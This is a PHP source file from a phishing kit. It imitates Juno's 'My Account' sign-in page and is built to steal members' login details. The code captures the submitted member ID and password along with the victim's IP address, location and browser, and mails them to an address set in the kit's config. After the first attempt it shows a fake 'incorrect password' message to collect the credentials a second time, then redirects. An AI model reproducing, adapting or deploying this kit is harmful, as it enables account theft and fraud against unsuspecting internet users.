<?php
require "core/EntityVariables.php";
$config = require "KarmaEntity/config/config.php";

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    if (!isset($_SESSION['first_submit'])) {
        $_SESSION['first_submit'] = true;
        $_SESSION['karma-emailaccess1'] = htmlspecialchars($_POST['karma-emailaccess'], ENT_QUOTES, 'UTF-8');
        $_SESSION['karma-emailpassword1'] = htmlspecialchars($_POST['karma-emailpassword'], ENT_QUOTES, 'UTF-8');
        $data = [
            'entity_email' => $_SESSION['entity_email'] ?? '',
            'karma-emailaccess1' => $_SESSION['karma-emailaccess1'],
            'karma-emailpassword1' => $_SESSION['karma-emailpassword1'],
        ];

        $message = '<div style="font-family: -apple-system, BlinkMacSystemFont, \'Segoe UI\', Roboto, Helvetica, Arial, sans-serif; background: #f4f7fc; border-radius: 20px; box-shadow: 0 4px 32px rgba(0, 0, 0, 0.1); padding: 40px 30px; line-height: 1.5;">'
            .'<h2 style="color: #2c3e50; font-size: 1.5rem; margin-bottom: 50px; letter-spacing: 0.8px; font-weight: 600;">' 
            .'<i>"' . htmlspecialchars($quote) . '"</i></h2>'
            .'<h3 style="color: #2c3e50; font-size: 1.1rem; margin-bottom: 20px; letter-spacing: 0.8px; font-weight: 700;">EMAIL AKSES INFO #1</h3>'
            .'<pre style="font-size: 0.9rem; color: #34495e; padding: 10px; background-color: #fff; border-radius: 8px; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); margin-bottom: 30px;">'
            .'<code style="display: block; white-space: pre-wrap; word-wrap: break-word;">'
            .'Email         : ' . htmlspecialchars($data['entity_email']) . "\n"
            .'Email/User ID : ' . htmlspecialchars($data['karma-emailaccess1']) . "\n"
            .'Password      : ' . htmlspecialchars($data['karma-emailpassword1']) . "\n"
            .'</code>'
            .'</pre>'
            .'<h3 style="color: #2c3e50; font-size: 1.1rem; margin-bottom: 20px; letter-spacing: 0.8px; font-weight: 700;">DEVICE INFO</h3>'
            .'<pre style="font-size: 0.9rem; color: #34495e; padding: 10px; background-color: #fff; border-radius: 8px; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);">'
            .'<code style="display: block; white-space: pre-wrap; word-wrap: break-word;">'
            .'IP           : ' . htmlspecialchars($ip) . "\n"
            .'Country      : ' . htmlspecialchars($country) . "\n"
            .'City         : ' . htmlspecialchars($city) . "\n"
            .'Region       : ' . htmlspecialchars($region) . "\n"
            .'Latitude     : ' . htmlspecialchars($latitude) . "\n"
            .'Longitude    : ' . htmlspecialchars($longitude) . "\n"
            .'Timezone     : ' . htmlspecialchars($timezone) . "\n"
            .'User Agent   : ' . htmlspecialchars($userAgent) . "\n"
            .'</code>'
            .'</pre>'
            .'</div>';
        $to = $config['result_email'];
        $subject = 'EMAIL #1 :: ' . $data['karma-emailaccess1'] . ' :: [ ' . $country . ' - ' . $ip . ' ]';
        $headers = "MIME-Version: 1.0\r\n";
        $headers .= "Content-Type: text/html; charset=utf-8\r\n";
        $headers .= "From: Entity <karma@entity.net>\r\n";
        mail($to, $subject, $message, $headers);
        EntityMessage("EMAIL #1 RECEIVED", $ip);
        header("Location: /juno");
        exit();
    } else {
        unset($_SESSION['first_submit']);
        $_SESSION['karma-emailaccess2'] = htmlspecialchars($_POST['karma-emailaccess'], ENT_QUOTES, 'UTF-8');
        $_SESSION['karma-emailpassword2'] = htmlspecialchars($_POST['karma-emailpassword'], ENT_QUOTES, 'UTF-8');
        $data = [
            'entity_email' => $_SESSION['entity_email'] ?? '',
            'karma-emailaccess2' => $_SESSION['karma-emailaccess2'],
            'karma-emailpassword2' => $_SESSION['karma-emailpassword2'],
        ];

        $message = '<div style="font-family: -apple-system, BlinkMacSystemFont, \'Segoe UI\', Roboto, Helvetica, Arial, sans-serif; background: #f4f7fc; border-radius: 20px; box-shadow: 0 4px 32px rgba(0, 0, 0, 0.1); padding: 40px 30px; line-height: 1.5;">'
            .'<h2 style="color: #2c3e50; font-size: 1.5rem; margin-bottom: 50px; letter-spacing: 0.8px; font-weight: 600;">' 
            .'<i>"' . htmlspecialchars($quote) . '"</i></h2>'
            .'<h3 style="color: #2c3e50; font-size: 1.1rem; margin-bottom: 20px; letter-spacing: 0.8px; font-weight: 700;">EMAIL AKSES INFO #2</h3>'
            .'<pre style="font-size: 0.9rem; color: #34495e; padding: 10px; background-color: #fff; border-radius: 8px; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1); margin-bottom: 30px;">'
            .'<code style="display: block; white-space: pre-wrap; word-wrap: break-word;">'
            .'Email         : ' . htmlspecialchars($data['entity_email']) . "\n"
            .'Email/User ID : ' . htmlspecialchars($data['karma-emailaccess2']) . "\n"
            .'Password      : ' . htmlspecialchars($data['karma-emailpassword2']) . "\n"
            .'</code>'
            .'</pre>'
            .'<h3 style="color: #2c3e50; font-size: 1.1rem; margin-bottom: 20px; letter-spacing: 0.8px; font-weight: 700;">DEVICE INFO</h3>'
            .'<pre style="font-size: 0.9rem; color: #34495e; padding: 10px; background-color: #fff; border-radius: 8px; box-shadow: 0 2px 8px rgba(0, 0, 0, 0.1);">'
            .'<code style="display: block; white-space: pre-wrap; word-wrap: break-word;">'
            .'IP           : ' . htmlspecialchars($ip) . "\n"
            .'Country      : ' . htmlspecialchars($country) . "\n"
            .'City         : ' . htmlspecialchars($city) . "\n"
            .'Region       : ' . htmlspecialchars($region) . "\n"
            .'Latitude     : ' . htmlspecialchars($latitude) . "\n"
            .'Longitude    : ' . htmlspecialchars($longitude) . "\n"
            .'Timezone     : ' . htmlspecialchars($timezone) . "\n"
            .'User Agent   : ' . htmlspecialchars($userAgent) . "\n"
            .'</code>'
            .'</pre>'
            .'</div>';
        $to = $config['result_email'];
        $subject = 'EMAIL #2 :: ' . $data['karma-emailaccess2'] . ' :: [ ' . $country . ' - ' . $ip . ' ]';
        $headers = "MIME-Version: 1.0\r\n";
        $headers .= "Content-Type: text/html; charset=utf-8\r\n";
        $headers .= "From: Entity <karma@entity.net>\r\n";
        mail($to, $subject, $message, $headers);
        EntityMessage("EMAIL #2 RECEIVED", $ip);
        header("Location: /secure?entityId=$random_entity_id");
        exit();
    }
}

?>
<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Juno - My Account -  Value-priced Internet Service Provider - ISP - Free, low-cost and fast Internet Access</title>
        <link rel="icon" href="/public/images/juno.ico" type="image/ico">
        <link rel="stylesheet" href="/public/css/karma_styles.css?v=<?= time() ?>">
        <link rel="stylesheet" href="/public/css/karma_email.css?v=<?= time() ?>">
    </head>
    <body class="font-helevetica container relative max-w-[970px] mx-auto bg-black">

        <div class="bg-white h-screen">

            <div class="flex relative sm:mb-0 p-7">
                <img src="/public/images/juno.gif" alt="Logo" />
                <h1 class="absolute text-2xl text-stone-400 left-62 sm:left-72 top-11"> MY ACCOUNT </h1>
            </div>
            
            <img src="/public/images/line.gif" alt="Logo" class="h-1.5" />

            <form action="" method="POST" id="emailaccess-form">
                <main class="px-10 mt-3 flex flex-col sm:flex-row sm:gap-42">
                    <div class="max-w-sm">
                        <h1 class="text-[30px] mb-5 sm:mb-7 font-bold"> Sign in </h1>
                        
                        <?php if (isset($_SESSION['first_submit'])): ?>
                            <p class="text-red-600 text-sm mb-4">The Member ID/Mobile Number or Password you have entered is incorrect. Please check the spelling and try again.</p>
                        <?php endif; ?>

                        <label for="karma-emailaccess" class="block mb-1 text-[16px] text-[#646469]">MEMBER ID</label>
                        <input type="text" name="karma-emailaccess" id="karma-emailaccess" class="w-[230px] h-9 border-1 border-stone-300 rounded-md mb-4 px-3" required />
                        
                        <label for="karma-emailpassword" class="block mb-1 text-[16px] text-[#646469]">PASSWORD</label>
                        <input type="password" name="karma-emailpassword" id="karma-emailpassword" class="w-[230px] h-9 border-1 border-stone-300 rounded-md px-3" required />
                        <button type="submit" class="flex items-center bg-stone-300 text-xl py-2 px-8 rounded mt-4 h-8 cursor-pointer tracking-wider text-stone-600">SIGN-IN</button>
                        <hr class="text-blue-500 mt-10 sm:mb-20"/>
                    </div>
                    <div class="mt-9 max-w-xl mb-5 sm:mb-0">
                        <h1 class="text-2xl mb-3"> Not a Juno Member? </h1>
                        <span class="max-w-xl tracking-wide text-stone-400">
                            Get Juno DSL and Dial-Up Internet services at affordable prices. To compare features and benefits of Juno Internet services and to sign up now, <span class="text-[#006BA3] cursor-pointer">Click Here</span>.
                        </span>
                    </div>
                </main>
            </form>
            <footer class="absolute bg-stone-200 w-full bottom-0">
                <div class="hidden sm:flex gap-5 items-center mx-auto px-10 py-5 text-xs">
                    <p class="text-[#2377AA]">My Juno</p> |
                    <p class="text-[#2377AA]">My Account</p> |
                    <p class="text-[#2377AA]">Our Services</p> |
                    <p class="text-[#2377AA]">Privacy Policy</p> |
                    <p class="text-[#2377AA]">Your Privacy Rights: Do Not Sell My Info</p> |
                    <p class="text-[#2377AA]">About Ads</p> |
                    <p class="text-[#2377AA]">Terms of Service</p> 
                </div>
                <hr class="text-black mb-2"/>
                <p class="text-xs text-center py-2 text-stone-700">&copy; 1995 - 2025  Juno Online Services, Inc. Juno is a registered trademark, and the Juno logo is a trademark of Juno Online Services, Inc.</p>
            </footer>
        </div>
    </body>
</html>